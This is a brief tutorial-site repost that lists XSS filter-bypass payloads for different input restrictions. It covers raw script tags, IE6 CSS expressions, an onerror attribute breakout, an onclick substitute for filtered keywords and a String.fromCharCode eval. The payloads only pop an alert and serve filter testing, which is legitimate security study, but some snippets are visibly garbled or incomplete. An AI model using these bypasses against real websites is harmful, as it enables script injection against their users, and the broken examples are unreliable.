How is the small test of xss carried out?

WBOY
Release: 2023-05-19 11:37:06
forward
962 people have browsed it
  • No security restrictions, use directly

##<script>alert(/xss/);</script>

  • Restrictions: Only CSS can be used, html tags are not allowed

We know that expression can be used to construct XSS, but it can only be tested under IE. Therefore, please perform the following test in IE6.

body {
black;
xss:alert(/xss/));/*IE6下测试*/
}
Copy after login
  • Restrictions: HTML is escaped and the Image tag is available

    .

The characters entered in the test will be inserted into the src address, so you can use a pseudo-protocol to bypass it.

Enter directly

alert( /xss/);
Copy after login
Or you can use events to bypass, just pay attention to the closing statement, as follows:

1" onerror=alert(/xss/); var a="1

  • Restriction condition: Keyword filtering is used.

I tested it, most of it was filtered, and some were not filtered. After testing script/onerror, it was filtered, but onclick was not filtered. Use the onclick event to bypass

<img src=# onclick=alert(/xss/);>
Copy after login
  • Restrictions: Use addslashes to escape the characteristic characters

That is to say, single quotes, double quotes, etc. cannot appear in our XSS statements. Characteristic characters.

Use

<script>alert(/xss/);</script>
Copy after login
directly to bypass

or use the String.fromCharCode method, as follows:


<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>
Copy after login

The above is the detailed content of How is the small test of xss carried out?. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
xss
source:yisu.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!